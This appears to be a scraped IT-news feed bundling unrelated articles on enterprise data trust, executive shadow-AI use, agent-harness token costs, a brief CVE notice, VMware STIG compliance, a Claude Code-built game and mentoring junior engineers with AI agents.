<p class="wp-block-paragraph">Trust has always been one of the hardest problems in enterprise data. According to<a href="https://www.accenture.com/us-en/insights/artificial-intelligence/data-trust-ai-value?utm_source=chatgpt.com"> </a><a href="https://www.accenture.com/us-en/insights/artificial-intelligence/data-trust-ai-value?utm_source=chatgpt.com">Accenture research on data trust and decision making</a>, only about a quarter of employees report high confidence in their organization’s data when making decisions. That challenge does not disappear when AI enters the picture. If anything, it becomes more visible.</p>



<p class="wp-block-paragraph">Organizations frequently measure access because access is easy to quantify. Reliability is harder. Reliability requires understanding whether an answer remains consistent across users, across prompts, across time periods and across changing business conditions. It requires understanding whether the same question produces the same answer and whether that answer reflects the business logic the organization intends to enforce.</p>



<p class="wp-block-paragraph">Those are fundamentally different measurements, and they point to a different definition of success.</p>



<h2 class="wp-block-heading"><a></a>Context requires measurement</h2>



<p class="wp-block-paragraph">One reason this problem is becoming more pronounced is that enterprises accumulate information far faster than they eliminate it.</p>



<p class="wp-block-paragraph">New systems are added, new reports are created, processes evolve. Teams develop local definitions and specialized workflows. Documentation grows continuously, while very little of it gets removed. Over time, organizations build large collections of information that contain years of historical decisions, exceptions, workarounds and competing interpretations.</p>



<p class="wp-block-paragraph">We’ve yet to encounter an enterprise that doesn’t have some version of this problem.</p>



<p class="wp-block-paragraph">That reality turns context into an operational challenge rather than a technical one.</p>



<p class="wp-block-paragraph">Simply connecting AI systems to enterprise information does not improve the quality of that information. In some cases, it exposes longstanding inconsistencies that were previously hidden by human interpretation and tribal knowledge. Gartner has long identified poor data quality as one of the most significant obstacles to successful analytics and AI initiatives because bad inputs inevitably produce unreliable outputs, regardless of how sophisticated the technology becomes.</p>



<p class="wp-block-paragraph">As AI becomes more deeply integrated into business operations, organizations will need new ways to evaluate the context their systems rely on. They will need visibility into how information is being used, where definitions conflict, which sources are trusted and how context quality affects outcomes. Context cannot be treated as a static asset. It must be measured, monitored and improved over time, just as organizations measure the quality of the models and applications built on top of it.</p>



<h2 class="wp-block-heading"><a></a>The shift from access to reliability</h2>



<p class="wp-block-paragraph">The industry has spent the last several years focused on access. How do we connect models to enterprise systems? How do we expose organizational knowledge? How do we give AI visibility into the information people use every day?</p>



<p class="wp-block-paragraph">Those questions were important because they represented genuine technical barriers. Today, many of those barriers are disappearing.</p>



<p class="wp-block-paragraph">Most enterprises can already connect AI systems to data warehouses, applications, dashboards, documents and knowledge repositories. The conversation is beginning to shift toward a more difficult problem: Determining whether those connections actually produce outcomes people trust.</p>



<p class="wp-block-paragraph">That is where the next phase of enterprise AI will be decided.</p>



<p class="wp-block-paragraph">Organizations that treat context as a quantity problem will continue adding more information and hoping accuracy improves. Organizations that treat context as a quality problem will focus on trust, consistency, governance and outcome reliability.</p>



<p class="wp-block-paragraph">The difference between those approaches may sound subtle, but it has enormous implications. One produces systems that can access information. The other produces systems that people are willing to use to make decisions.</p>



<p class="wp-block-paragraph">And in the enterprise, that distinction is ultimately what matters.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a><strong></strong></p>
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<title><![CDATA[Senior executives abuse shadow AI twice as much as regular employees do]]></title>
<description><![CDATA[Shadow IT has long been a major problem for IT leaders, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a sur...]]></description>
<link>https://tsecurity.de/de/3670109/it-security-nachrichten/senior-executives-abuse-shadow-ai-twice-as-much-as-regular-employees-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670109/it-security-nachrichten/senior-executives-abuse-shadow-ai-twice-as-much-as-regular-employees-do/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Shadow IT has long been a major problem for IT leaders, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.</p>



<p class="wp-block-paragraph">Nearly two-thirds of senior decision-makers admit to using <a href="https://www.cio.com/article/4178359/why-your-most-ai-savvy-employees-are-driving-shadow-ai.html">unapproved AI tools</a>, compared to just 31% of lower-level employees, according <a href="https://www.trustedtechteam.com/pages/shadow-ai-whitepaper-download">to a survey</a> by Microsoft solutions partner TrustedTech.</p>



<p class="wp-block-paragraph">The use of <a href="https://www.cio.com/article/647725/it-leaders-grapple-with-shadow-ai.html">shadow AI</a> is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.</p>



<p class="wp-block-paragraph">“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”</p>



<p class="wp-block-paragraph">In many cases, the problem is driven by a lack of approved tools, the report adds.</p>



<p class="wp-block-paragraph">“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”</p>



<h2 class="wp-block-heading">A question of authority</h2>



<p class="wp-block-paragraph">The use of shadow AI by CEOs and other C-suite executives can create major problems for CIOs, CISOs, and other IT executives because they may not have the authority to put the kibosh on it.</p>



<p class="wp-block-paragraph">It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.</p>



<p class="wp-block-paragraph">When executives use shadow AI, CIOs are in a difficult position, because governance only works when it’s modeled from the top, says<a href="https://www.linkedin.com/in/annolan/"> Andy Nolan,</a> VP of technology at TrustedTech.</p>



<p class="wp-block-paragraph">“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”</p>



<p class="wp-block-paragraph">Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.</p>



<p class="wp-block-paragraph">But CIOs and CISOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.</p>



<p class="wp-block-paragraph">“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”</p>



<h2 class="wp-block-heading">All risk, no reward</h2>



<p class="wp-block-paragraph">The use of shadow AI by senior executives puts CIOs and CISOs in an impossible position, agrees <a href="https://www.linkedin.com/in/amit-maloo-b087291/">Amit Maloo</a>, CISO at AI procurement provider Ivalua. CIOs and CISOs are <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html?utm=hybrid_search">held accountable</a> for the risk exposure but have no visibility into the problem, he says.</p>



<p class="wp-block-paragraph">“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”</p>



<p class="wp-block-paragraph">Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.</p>



<p class="wp-block-paragraph">“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”</p>



<p class="wp-block-paragraph">IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”</p>



<h2 class="wp-block-heading">Speed over security</h2>



<p class="wp-block-paragraph">The TrustedTech data echoes a <a href="https://www.teramind.co/l/shadow-ai-report-2026/">June report</a> from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes <a href="https://www.linkedin.com/in/nikkale/">Nik Kale</a>, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.</p>



<p class="wp-block-paragraph">In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.</p>



<p class="wp-block-paragraph">“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”</p>



<p class="wp-block-paragraph">The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”</p>



<p class="wp-block-paragraph">In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds <a href="https://www.linkedin.com/in/matt-scavetta-018b10173/">Matthew Scavetta</a>, chief technology innovation officer at IT solutions provider Future Tech Enterprise.</p>



<p class="wp-block-paragraph">Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.</p>



<p class="wp-block-paragraph">“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”</p>



<p class="wp-block-paragraph">Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.</p>



<p class="wp-block-paragraph">“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”</p>
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<title><![CDATA[The hidden AI cost driver: Harness design can make or break enterprise agent economics]]></title>
<description><![CDATA[A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, pot...]]></description>
<link>https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</guid>
<pubDate>Wed, 15 Jul 2026 10:03:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, potentially inflating the cost of AI deployments as organizations scale agents from experimental pilots to production environments.</p>



<p class="wp-block-paragraph">The firm, which ran a series of tests by juxtaposing two harnesses on the same tasks, namely Anthropic’s Claude Code and open-source OpenCode using the same Claude Sonnet 4.5 model underneath, found both exhibiting sharply different token overhead because of the differences in their configuration.</p>



<p class="wp-block-paragraph">These differences included system prompts, tool definitions, agent coordination mechanisms and other orchestration components, resulting in markedly different baseline input token overhead before users even entered a prompt, the consultancy firm wrote in a <a href="https://systima.ai/blog/claude-code-vs-opencode-token-overhead" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">Separately, the firm also found that other configuration choices while setting up the harnesses such as repository instruction files, <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" target="_blank">Model Context Protocol</a> (MCP) servers, prompt framework templates and subagents can each add substantial token overhead.</p>



<p class="wp-block-paragraph">The consultancy’s conclusions are also supported by emerging academic research examining how orchestration of the harnesses themselves, rather than optimizing models or changing them, can help enterprises reshape the economics around AI agents.</p>



<p class="wp-block-paragraph">In a <a href="https://arxiv.org/pdf/2607.06906" target="_blank" rel="noreferrer noopener">paper</a>, titled The Harness Effect: How Orchestration Design Sets the Token Economics of Enterprise Agentic AI, researchers showed that changing the harness while keeping models and tasks the same can reduce token consumption by 38%, cost per task by 41%, and execution time by 44% while maintaining comparable quality.</p>



<h2 class="wp-block-heading">Why enterprises overlook harness costs</h2>



<p class="wp-block-paragraph">Analysts say that enterprises can gain greater control over AI agent operating costs by paying closer attention to how their harnesses are configured and orchestrated, instead of just relying on model pricing as a yardstick.</p>



<p class="wp-block-paragraph">“The evaluation shows that the model is only one part of agent economics. The harness, tool schemas, instructions, MCP connections, and subagents matter as well. Enterprises therefore need to measure the entire agent configuration, not assume model pricing tells them what an agent will cost,” said <a href="https://www.linkedin.com/in/slwalter" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, practice lead of the AI stack at HyperFRAME Research.</p>



<p class="wp-block-paragraph">Currently, most enterprises pick agent tooling based on model quality, benchmarks, developer experience, and headline pricing per seat or per million tokens, with almost no one measuring what the harness sends per request, how stable the cache prefix is, or what subagent fan out costs at scale, echoed <a href="https://www.linkedin.com/in/advaitpatel93/" target="_blank" rel="noreferrer noopener">Advait Patel</a>, site reliability engineer at Broadcom.</p>



<p class="wp-block-paragraph">“Ask the average CIO whether their coding agent rewrites its cache mid-session, and you will get a blank stare,” Patel added.</p>



<p class="wp-block-paragraph">However, Ashish Chaturvedi, executive research leader at HFS Research, pointed out that lack of visibility is less a failure of enterprise leaders than a consequence of how AI agent ecosystem components are sold, stacked, and managed presently.</p>



<p class="wp-block-paragraph">“Most organizations have no visibility, mainly due to the absence of any metric from the vendor’s end that lets CIOs measure the entire agent or at least the harness configuration. None of this shows up in the developer’s experience. The agent just works, and the tokens burn silently in the background,” Chaturvedi said.</p>



<p class="wp-block-paragraph">The problem is further compounded, according to Chaturvedi, due to the manner in which AI agent configuration is distributed across enterprise teams.</p>



<p class="wp-block-paragraph">“The harness is chosen by one team, the instruction file written by another, and the MCP servers attached by a third, so no single person sees the cumulative weight,” Chaturvedi noted.</p>



<p class="wp-block-paragraph">Even when, in some cases, enterprises do have visibility and ownership, Patel argued, the industry, in general, still lack the operational maturity and discipline to systematically optimize AI agent costs.</p>



<p class="wp-block-paragraph">“FinOps for agents is where cloud FinOps was in 2013. Nobody has hired the equivalent of a cost optimization team focused on prompt engineering, harness configuration, and cache stability,” Patel said.</p>



<p class="wp-block-paragraph">Separately, <a href="https://www.linkedin.com/in/abhisekhsatapathy/" target="_blank" rel="noreferrer noopener">Abhishek Satapathy</a>, principal analyst at Avasant, pointed out that the invisibility issue stems from how enterprises evaluate AI agents before deploying them into production: “Most proof-of-concepts involve a limited number of users, relatively short-lived sessions, and controlled agentic interactions, where the accuracy of model output is the primary evaluation criterion.”</p>



<p class="wp-block-paragraph">The analysts’ comments also echo the conclusions of another research <a href="https://arxiv.org/pdf/2601.14470" target="_blank" rel="noreferrer noopener">paper</a>,  in which researchers argued that token consumption in agentic software engineering systems remains poorly understood because existing metrics provide limited visibility into where tokens are spent across orchestration components.</p>



<h2 class="wp-block-heading">How CIOs can improve visibility into AI agent costs</h2>



<p class="wp-block-paragraph">Closing that visibility gap, though, according to Satapathy, is increasingly becoming a priority for enterprises, as AI agents move from pilots to production and operating costs become harder to predict.</p>



<p class="wp-block-paragraph">“Across our advisory engagements, we are seeing growing demand for AI observability frameworks that combine runtime tracing, workload-level cost attribution, and execution analytics. This enables organizations to establish engineering baselines, benchmark workload efficiency, forecast AI operating costs, and continuously optimize agent performance as deployments mature,” Satapathy said.</p>



<p class="wp-block-paragraph">However, until vendors provide more comprehensive visibility into harness-level token consumption, analysts said enterprises should begin treating harness configuration as an operational governance issue rather than merely a developer preference.</p>



<p class="wp-block-paragraph">“The single most valuable move is to get visibility into what the harness actually sends. Enterprises should treat configuration as a governed cost decision, deliberately match harnesses to workloads, and closely monitor cache behavior and subagent fan-out, since those were among the biggest cost multipliers identified in the evaluation,” Chaturvedi said.</p>



<p class="wp-block-paragraph">Walter echoed that recommendation, saying CIOs should require observability across the entire agent configuration: “Without that visibility, enterprises are effectively buying an agent platform without knowing how much of the bill comes from useful work versus orchestration overhead.”</p>
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<title><![CDATA[CVE-2026-15753 | zhinianboke xianyu-auto-reply on Server review?action=approve trusting http permission methods on the server side (Issue 192 / EUVD-2026-44575)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in zhinianboke xianyu-auto-reply on Server. Affected by this vulnerability is an unknown functionality of the file /api/v1/payment/withdraw/review?action=approve. Executing a manipulation can lead to trusting http permission methods on the...]]></description>
<link>https://tsecurity.de/de/3669475/sicherheitsluecken/cve-2026-15753-zhinianboke-xianyu-auto-reply-on-server-reviewactionapprove-trusting-http-permission-methods-on-the-server-side-issue-192-euvd-2026-44575/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669475/sicherheitsluecken/cve-2026-15753-zhinianboke-xianyu-auto-reply-on-server-reviewactionapprove-trusting-http-permission-methods-on-the-server-side-issue-192-euvd-2026-44575/</guid>
<pubDate>Wed, 15 Jul 2026 05:09:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/zhinianboke:xianyu-auto-reply">zhinianboke xianyu-auto-reply</a> on Server. Affected by this vulnerability is an unknown functionality of the file <em>/api/v1/payment/withdraw/review?action=approve</em>. Executing a manipulation can lead to trusting http permission methods on the server side.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-15753">CVE-2026-15753</a>. The attack may be launched remotely. Furthermore, there is an exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Securing the Foundation: VMware Cloud Foundation 9.1 STIG Compliance]]></title>
<description><![CDATA[Introduction Security compliance in modern infrastructure must evolve from a one-time exercise into an ongoing operational practice. For organizations in the U.S. Department of Defense (DoD), and the personnel who support them, that practice is anchored to a specific standard: the Security Techni...]]></description>
<link>https://tsecurity.de/de/3669169/downloads/securing-the-foundation-vmware-cloud-foundation-91-stig-compliance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669169/downloads/securing-the-foundation-vmware-cloud-foundation-91-stig-compliance/</guid>
<pubDate>Tue, 14 Jul 2026 23:46:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="300" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg 1170w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=150,150 150w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=300,300 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=768,768 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=1024,1024 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=600,600 600w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Getty-2124094736.jpg?resize=360,360 360w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>Introduction Security compliance in modern infrastructure must evolve from a one-time exercise into an ongoing operational practice. For organizations in the U.S. Department of Defense (DoD), and the personnel who support them, that practice is anchored to a specific standard: the Security Technical Implementation Guide (STIG). This post explores the definition of a STIG, its … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/14/securing-the-foundation-vmware-cloud-foundation-9-1-stig-compliance/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/14/securing-the-foundation-vmware-cloud-foundation-9-1-stig-compliance/">Securing the Foundation: VMware Cloud Foundation 9.1 STIG Compliance</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[7 Best AI Red Teaming Tools to Find Security Vulnerabilities]]></title>
<description><![CDATA[In this post, I will show you the 7 best AI red teaming tools to find security vulnerabilities. AI red teaming has moved from a niche research practice to a core requirement for any team shipping LLM-powered features. The strongest platforms in 2026 pair autonomous attack generation with proof of...]]></description>
<link>https://tsecurity.de/de/3668664/it-security-nachrichten/7-best-ai-red-teaming-tools-to-find-security-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668664/it-security-nachrichten/7-best-ai-red-teaming-tools-to-find-security-vulnerabilities/</guid>
<pubDate>Tue, 14 Jul 2026 18:32:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will show you the 7 best AI red teaming tools to find security vulnerabilities. AI red teaming has moved from a niche research practice to a core requirement for any team shipping LLM-powered features. The strongest platforms in 2026 pair autonomous attack generation with proof of exploitability, so teams fix real […]</p>
<p>The post <a href="https://secureblitz.com/best-ai-red-teaming-tools/">7 Best AI Red Teaming Tools to Find Security Vulnerabilities</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
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<title><![CDATA[iOS Developer Wins $25,000 After Building Entire Game With Claude Code in Two Weeks]]></title>
<description><![CDATA[An iOS developer with nearly nine years of experience has won $25,000 at Vibe Jam 2026 after building a capybara food delivery game in only two weeks using Claude Code and several other AI tools. 



The project includes more than 27,000 lines of AI-generated code, over 188 commits, multiplayer s...]]></description>
<link>https://tsecurity.de/de/3668615/ios-mac-os/ios-developer-wins-25000-after-building-entire-game-with-claude-code-in-two-weeks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668615/ios-mac-os/ios-developer-wins-25000-after-building-entire-game-with-claude-code-in-two-weeks/</guid>
<pubDate>Tue, 14 Jul 2026 18:18:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An iOS developer with nearly nine years of experience has won $25,000 at Vibe Jam 2026 after building a capybara food delivery game in only two weeks using Claude Code and several other AI tools. 



The project includes more than 27,000 lines of AI-generated code, over 188 commits, multiplayer support, custom editing tools, original music, 3D models, textures, illustrations, and a large open city that players can explore alone or with friends.











The developer, known online as Leo, created A Game About Capybaras Delivering Food, where players control a capybara riding a scooter while collecting and delivering stacked food orders before time runs out. 



Players must balance their items while driving, complete a timed shopping challenge inside a slippery convenience store, follow routes through an in-game navigation app, and avoid dropping food during sharp turns.



Leo said he spent $100 to upgrade from Claude Code’s Max 5x plan to the 20x plan. He also used ChatGPT Images, Grok, Tripo3D, Suno, and ElevenLabs for textures, character concepts, 3D assets, music, and sound effects, while Three.js powered the game itself.




“The game was entirely vibe-coded. In practice, I spent most of my time brainstorming, planning, and playing rather than generating code. I ran two to three Claude Code sessions at once, each working on a different part of the code to avoid conflicts,” Leo explained in his detailed development post.




Claude Code Built More Than the Game













Claude Code generated all the programming behind the game, but it also created the tools Leo needed to finish the project quickly. These included a custom map editor, terrain brushes, a procedural road builder, an in-game cinematic editor, a phone simulator, and systems for weather, lighting, multiplayer, item physics, and localization.



The map required the most manual work because AI-generated 3D cities lacked detail and performed poorly when players moved closer to buildings. Leo used the custom editor to place objects, shape mountains, paint terrain, create roads, position cameras, and build a city featuring beaches, farms, highways, suburban districts, and references to landmarks such as the Golden Gate Bridge and Christ the Redeemer.



The multiplayer mode uses a live WebSocket connection hosted through Cloudflare, allowing players to see each other’s movements, food stacks, messages, honks, and nearby music. The finished game also supports English, Hindi, Spanish, German, Korean, Mandarin Chinese, and Brazilian Portuguese.



Leo does not plan to release the project on Steam because the current version only offers around five to ten minutes of gameplay. However, the $25,000 win shows how an experienced developer can use AI coding tools to create, test, and polish a complete game concept within a short development window.]]></content:encoded>
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<title><![CDATA[How do you go from junior to staff engineer when AI writes the code?]]></title>
<description><![CDATA[A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?



It’s a fair question and a harder one to answer than it was just a year ago.



The path...]]></description>
<link>https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667712/it-security-nachrichten/how-do-you-go-from-junior-to-staff-engineer-when-ai-writes-the-code/</guid>
<pubDate>Tue, 14 Jul 2026 13:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few weeks ago, a new hire at Aviator, fresh out of college, asked me a question I didn’t have a clean answer to. How do I become a senior engineer, or even a staff engineer? What should I learn, and how?</p>



<p class="wp-block-paragraph">It’s a fair question and a harder one to answer than it was just a year ago.</p>



<p class="wp-block-paragraph">The path used to be well-known. As a newly hired junior software engineer, you were given an experienced mentor who would assign you simple tasks to learn the ropes. You’d write some code, ask plenty of questions, open a pull request, get feedback in code review, think about it and fix your code. Rinse and repeat that a few hundred times. The tasks became more complex; the feedback got shorter and along the way you’ve been building judgment, the thing that separates a senior engineer from a junior one.</p>



<p class="wp-block-paragraph">Now AI writes most of the code. The loop looks different and the easy assumption is that it’s broken: fewer tasks for juniors to cut their teeth on, an agent fixing the code that another agent wrote, thinner path to judgment.</p>



<h2 class="wp-block-heading"><a></a>Mentoring got easier, not harder</h2>



<p class="wp-block-paragraph">I knew just the person to ask: how do we grow senior and staff engineers in the AI era? Adam Berry is a staff engineer at Netflix, a member of <a href="https://dx.community/">The Hangar</a>, our community of engineering leaders, and someone I have been discussing the evolving role of code review and <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing</a> for a while now. He spends his time on getting AI adoption right, rather than just fast, in their engineering organization and has been working out the question of growing new engineers in practice. Mentoring juniors in an agentic world, Adam says, isn’t harder; it’s embarrassingly easy.</p>



<p class="wp-block-paragraph">“You grow juniors and help them become better engineers the same way you always did. AI isn’t changing the methodology. It’s changing the details,” he told me. His point is that the agentic world gives a lot more options for giving juniors bounded tasks to work on and more feedback. The scattered remarks and comments seniors used to give in person now can be put into instructions and guardrails.</p>



<p class="wp-block-paragraph">Adam breaks working with agents into three foundational skills:</p>



<ul class="wp-block-list">
<li>If you don’t know how to do something with the agent, ask the agent.</li>



<li>If the agent does something you don’t like, figure out how to correct it and then codify it so it doesn’t happen again.</li>



<li>Your sense of when the agent has gone off the rails.<br><br></li>
</ul>



<p class="wp-block-paragraph">“Most juniors can pick up the first two on their own. On the third one, they need guidance, he says.<br><br></p>



<p class="wp-block-paragraph">His process for building it is staged. “The stages are about growing scope. First, you give a junior engineer a well-specified task—and these are now bigger than what you’d have given a junior before. You can give them task definitions that are like a prompt and instructions to drive that prompt, make sure they got to a good plan, make sure they understood the plan, and that they thought through the test cases, etc.<br><br>Then gradually you peel off some of that specificity so they have to build the muscle themselves. Once they’ve gotten good at that level of scope, they’re ready to work on larger scoped problems.”<br><br>Starting from more specific problems and going towards ambiguous problems is the definition of growing as an engineer.</p>



<h2 class="wp-block-heading"><a></a>Pair programming with the agent in the room</h2>



<p class="wp-block-paragraph">Seniors can still do pairing sessions with juniors, now with the agent in the room.<br><br>“In the pairing session, the earlier-career engineer should be the one driving. The agent can be set up to interrogate the junior rather than just answer them. None of you is manually writing code, but you’re still doing pair programming and mentoring. Even if it’s just a trivial bug fix, if you guide a junior through it, it forces them to do just that little bit of thinking.”<br><br>Adam says mentoring juniors today does not have to mean forcing them to write code manually. Seniors should teach them the process of agentic engineering, and that’s exactly what they should focus on during the pairing sessions. The habit he wants to be installed early is asking for options instead of answers.<br><br>“I aim to teach juniors to ask for options and think through them, even on small tasks. I ask them to explain what their input to the AI tool was that led to the code they got. But I’d also show them how I would have done the same thing.”<br><br>The pairing produces artifacts as it goes. “That’s where you get into conversations of, ‘This is why that wasn’t quite it for me,’ and if I see that that’s not baked into the repo, I’m going to add this into the ADR, into the design, into the instruction set. I’ll codify that so the junior gets it too, and they know why it exists, because they watched me go through it with the tool myself.”</p>



<p class="wp-block-paragraph">That reshapes the code review instead of removing it. Making that work puts more on senior engineers, not less. “Senior engineers need to ensure that things like ADRs, or whatever system you use, are properly encapsulated in the repo for both the agents and the humans to consume.” His team also attaches the prompts to the pull request and has the agent summarize what it did against what the prompt asked.<br><br></p>



<p class="wp-block-paragraph">Adam also teaches junior engineers how to bring in expert sources from outside into AI tools. He’ll point an agent at a book like Michael Feathers’ <em>Working with Legacy Code</em> as an example of what quality code looks like and have it work from the concepts directly.</p>



<h2 class="wp-block-heading"><a></a>Don’t outsource the thinking</h2>



<p class="wp-block-paragraph">His arguments make sense, but I also recently came across <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=11363384">research</a> examining the influence of AI tools on how and why members of software engineering teams interact. Their finding was not surprising: of the 131 surveyed developers, 51% said they now ask GenAI for technical help they once would have asked a person, and 62% said it was easier to ask GenAI without fear of embarrassment.</p>



<p class="wp-block-paragraph">When a junior gets stuck now, their first move usually isn’t to message a senior on Slack. It’s to ask the agent. This is also the case in code reviews. The purpose of code reviews was always <a href="https://www.cio.com/article/4179485/ai-killed-the-code-review-what-happens-to-knowledge-sharing.html">knowledge sharing </a>as much as it was a quality gate. What I see junior engineers do now is take the feedback and, without reading it closely, hand it straight to the agent to resolve. The part where they would have to understand how their work differed from what the senior expected disappears. It got passed from the reviewer to the agent, and the junior skipped the understanding.</p>



<p class="wp-block-paragraph">This isn’t really the junior’s fault. They need the motivation and the space to do it differently, and the default pattern under delivery pressure is to push the thing out and worry about it later.<br><br>The same research showed that developers turned to colleagues with questions about context (65% to clarify business logic or requirements, 50% for how something had been done before).</p>



